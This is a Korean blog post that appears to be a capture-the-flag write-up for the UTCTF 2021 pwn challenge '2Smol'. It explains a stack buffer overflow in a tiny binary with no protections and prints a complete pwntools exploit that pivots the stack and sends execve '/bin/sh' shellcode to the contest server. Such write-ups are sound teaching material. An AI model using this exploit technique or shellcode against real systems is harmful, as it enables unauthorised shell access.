티스토리 뷰

CTFs WriteUp

[pwn] UTCTF 2021 - 2Smol

sindo 2021. 3. 16. 00:24

보호기법

64bit 환경에 보호기법은 전부 걸려있지 않다.

바이너리 분석

바이너리 자체가 매우 작은데, 정의된 함수가 _start, main, _read 단 세 개로 구성되어 있다.

main

main에서는 간단하게 read함수를 호출한다.

그런데 read함수가 실제 read대로 작동하는 것은 아니고, 새롭게 정의 되어 있는 함수이다.

 

read함수는 실제로 _read라는 함수로 호출이 되는 것을 볼 수 있다.

_read

_read함수에서는 sys_read를 통해 입력을 진행하는데, buf 인자로 main함수 지역변수fd의 주소가 들어온다.

Vulnerability

취약점은 BOF가 존재한다.

main 함수 지역변수에 0x200만큼 데이터를 덮어쓸 수 있기 때문에 main stack에서 Overflow가 발생하게 된다.

 

조금 더 자세하게 보자.

디버거를 붙여서 살펴봤을 때, _read함수에서 syscall을 호출할 때 buf에 0x200만큼 쓰는 것을 볼 수 있다. 해당 buf는 main 지역변수인 fd이기 때문에 main에서 Overflow가 터지고

 

실제로 위 사진처럼 main함수가 끝날 때 RET을 덮어쓸 수 있게된다.

 

syscall이 있고 BOF가 된다는 점에서 SROP를 할 수 있겠지만 NX-bit가 disabled되어있기 때문에 shellcode를 덮어쓰는 방식으로 Exploit을 진행했다.

Exploit Code

from pwn import *

server = 1
if server:
	p = remote("pwn.utctf.live", 9998)
else :
	p = process("./smol")

bss = 0x402000 + 0x500
pop_rbp = 0x0000000000401021
lea_rdi_prbp = 0x0000000000401015

pay = b''
pay += b'A'*0x10
pay += p64(pop_rbp)
pay += p64(bss)
pay += p64(lea_rdi_prbp)
p.send(pay)
sleep(0.1)

p.send(p64(bss+0x20)*3 + b'\x90'*0x10 + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")

p.interactive()

Flag

utflag

'CTFs WriteUp' 카테고리의 다른 글

[pwn] 0ctf 2021 - listbook  (0) 2021.07.06
[pwn] UTCTF 2021 - monke  (0) 2021.03.23
[pwn] UTCTF 2021 - AEG  (0) 2021.03.19
[pwn] UTCTF 2021 - Functional Programming  (0) 2021.03.18
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
글 보관함